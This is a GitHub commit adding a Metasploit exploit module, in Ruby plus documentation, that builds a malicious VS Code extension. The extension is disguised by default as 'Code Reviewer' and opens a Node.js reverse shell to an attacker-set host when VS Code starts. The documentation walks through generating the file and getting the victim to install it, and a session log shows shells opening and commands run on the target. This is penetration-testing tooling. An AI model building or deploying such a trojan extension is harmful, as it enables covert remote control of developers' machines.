-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
223 additions
and
0 deletions.
There are no files selected for viewing
66 changes: 66 additions & 0 deletions
66
documentation/modules/exploit/multi/fileformat/visual_studio_vsix_exec.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
## Vulnerable Application | ||
|
||
Creates a vsix file which can be installed in Visual Studio Code as an extension. | ||
At activation/install, the extension will execute a shell or two. | ||
|
||
Tested against VSCode 1.87.2 on Ubuntu 22.04 | ||
|
||
## Verification Steps | ||
|
||
1. Install VSCode | ||
1. Start msfconsole | ||
1. Do: `use exploit/multi/fileformat/visual_studio_vsix_exec` | ||
1. Do: `set lhost [IP]` | ||
1. Do: `run` | ||
1. In Visual Studio, click the extensions button on the left (4 boxes with the top | ||
right one offset) | ||
1. Click the 3 dots in the new window, select `Install from VSIX...`. | ||
1. Click the extension | ||
1. You should get a shell or two | ||
|
||
## Options | ||
|
||
### NAME | ||
|
||
The name of the extension. Defaults to `Code Reviewer` | ||
|
||
### DESCRIPTION | ||
|
||
The description of the extension. Defaults to `Reviews code` | ||
|
||
### VERSION | ||
|
||
The version of the extension. Defaults to `0.0.1` | ||
|
||
### README | ||
|
||
The readme contents for the extension. Defaults to `` | ||
|
||
## Scenarios | ||
|
||
### VSCode 1.87.2 on Ubuntu 22.04 | ||
|
||
``` | ||
msf6 > use exploit/multi/fileformat/visual_studio_vsix_exec | ||
[*] Using configured payload nodejs/shell_reverse_tcp | ||
msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > set lport 5989 | ||
lport => 5989 | ||
msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > set lhost 111.111.11.111 | ||
lhost => 111.111.11.111 | ||
msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > exploit | ||
[*] Started reverse TCP handler on 111.111.11.111:5989 | ||
[+] extension.vsix stored at /root/.msf4/local/extension.vsix | ||
[*] Waiting for shell | ||
[*] Command shell session 1 opened (111.111.11.111:5989 -> 111.111.11.111:33070) at 2024-03-22 17:22:16 +0000 | ||
[*] Command shell session 2 opened (111.111.11.111:5989 -> 111.111.11.111:33080) at 2024-03-22 17:22:16 +0000 | ||
whoami | ||
h00die | ||
id | ||
uid=1000(h00die) gid=1000(h00die) groups=1000(h00die),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),119(docker) | ||
code -v | ||
1.87.2 | ||
863d2581ecda6849923a2118d93a088b0745d9d6 | ||
x64 | ||
``` |
157 changes: 157 additions & 0 deletions
157
modules/exploits/multi/fileformat/visual_studio_vsix_exec.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,157 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::FILEFORMAT | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Visual Studio vsix Extension Exec', | ||
'Description' => %q{ | ||
Creates a vsix file which can be installed in Visual Studio Code as an extension. | ||
At activation/install, the extension will execute a shell or two. | ||
Tested against VSCode 1.87.2 on Ubuntu 22.04 | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # Metasploit module | ||
], | ||
'DefaultOptions' => { | ||
'EXITFUNC' => 'thread', | ||
'DisablePayloadHandler' => false, | ||
'FILENAME' => 'extension.vsix', | ||
'WfsDelay' => 3_600, # 1hr | ||
'payload' => 'nodejs/shell_reverse_tcp' # cross platform | ||
}, | ||
'Platform' => 'nodejs', | ||
'Arch' => ARCH_NODEJS, | ||
'Targets' => [ | ||
['Automatic', {}], | ||
], | ||
'References' => [ | ||
['URL', 'https://medium.com/@VakninHai/the-hidden-risks-of-visual-studio-extensions-a-new-avenue-for-persistence-attacks-e56722c048f1'], # similar idea | ||
['URL', 'https://code.visualstudio.com/api/get-started/your-first-extension'], | ||
['URL', 'https://code.visualstudio.com/api/references/activation-events'] # onStartup Action | ||
], | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [] | ||
}, | ||
'Privileged' => false, | ||
'DisclosureDate' => '2024-03-22' # date of development | ||
) | ||
) | ||
|
||
register_options([ | ||
OptString.new('NAME', [true, 'The name of the extension', 'Code Reviewer']), | ||
OptString.new('DESCRIPTION', [true, 'The description of the extension', 'Reviews code']), | ||
OptString.new('VERSION', [true, 'The version of the extension', '0.0.1']), | ||
OptString.new('README', [false, 'The readme contents for the extension', '']), | ||
]) | ||
end | ||
|
||
def name | ||
datastore['NAME'] | ||
end | ||
|
||
def description | ||
datastore['DESCRIPTION'] | ||
end | ||
|
||
def version | ||
datastore['VERSION'] | ||
end | ||
|
||
def readme | ||
datastore['README'] | ||
end | ||
|
||
def manifest | ||
%(<?xml version="1.0" encoding="utf-8"?> | ||
<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011" xmlns:d="http://schemas.microsoft.com/developer/vsx-schema-design/2011"> | ||
<Metadata> | ||
<Identity Language="en-US" Id="extension-name-fillmein" Version="#{version}" Publisher="#{Rex::Text.rand_text_alpha(10)}" /> | ||
<DisplayName>#{name}</DisplayName> | ||
<Description xml:space="preserve">#{description}</Description> | ||
<Tags></Tags> | ||
<GalleryFlags>Public</GalleryFlags> | ||
<Properties> | ||
<Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.87.0" /> | ||
<Property Id="Microsoft.VisualStudio.Code.ExtensionDependencies" Value="" /> | ||
<Property Id="Microsoft.VisualStudio.Code.ExtensionPack" Value="" /> | ||
<Property Id="Microsoft.VisualStudio.Code.ExtensionKind" Value="workspace" /> | ||
<Property Id="Microsoft.VisualStudio.Code.LocalizedLanguages" Value="" /> | ||
<Property Id="Microsoft.VisualStudio.Services.GitHubFlavoredMarkdown" Value="true" /> | ||
<Property Id="Microsoft.VisualStudio.Services.Content.Pricing" Value="Free"/> | ||
</Properties> | ||
</Metadata> | ||
<Installation> | ||
<InstallationTarget Id="Microsoft.VisualStudio.Code"/> | ||
</Installation> | ||
<Dependencies/> | ||
<Assets> | ||
<Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" /> | ||
</Assets> | ||
</PackageManifest>) | ||
end | ||
|
||
def extension_js | ||
%|const vscode = require('vscode'); | ||
function activate(context) { | ||
#{payload.encoded} | ||
} | ||
function deactivate() {} | ||
module.exports = { | ||
activate, | ||
deactivate | ||
} | ||
| | ||
end | ||
|
||
def package_json | ||
%({ | ||
"name": "#{name.gsub(' ', '.')}", | ||
"displayName": "#{name}", | ||
"description": "#{description}", | ||
"version": "#{version}", | ||
"publisher":"#{Rex::Text.rand_name}", | ||
"engines": { | ||
"vscode": "^1.60.0" | ||
}, | ||
"activationEvents": ["onStartupFinished"], | ||
"main": "./extension.js", | ||
"devDependencies": { | ||
"@types/vscode": "^1.60.0" | ||
} | ||
} | ||
) | ||
end | ||
|
||
def exploit | ||
# Create malicious vsix (zip archive) containing our exploit | ||
files = | ||
[ | ||
{ data: manifest, fname: 'extension.vsixmanifest' }, | ||
{ data: extension_js, fname: 'extension/extension.js' }, | ||
{ data: package_json, fname: 'extension/package.json' }, | ||
{ data: readme, fname: 'extension/README.md' }, # not required, but looks a little more official | ||
] | ||
|
||
zip = Msf::Util::EXE.to_zip(files) | ||
|
||
file_create(zip) | ||
print_status('Waiting for shell') | ||
end | ||
end |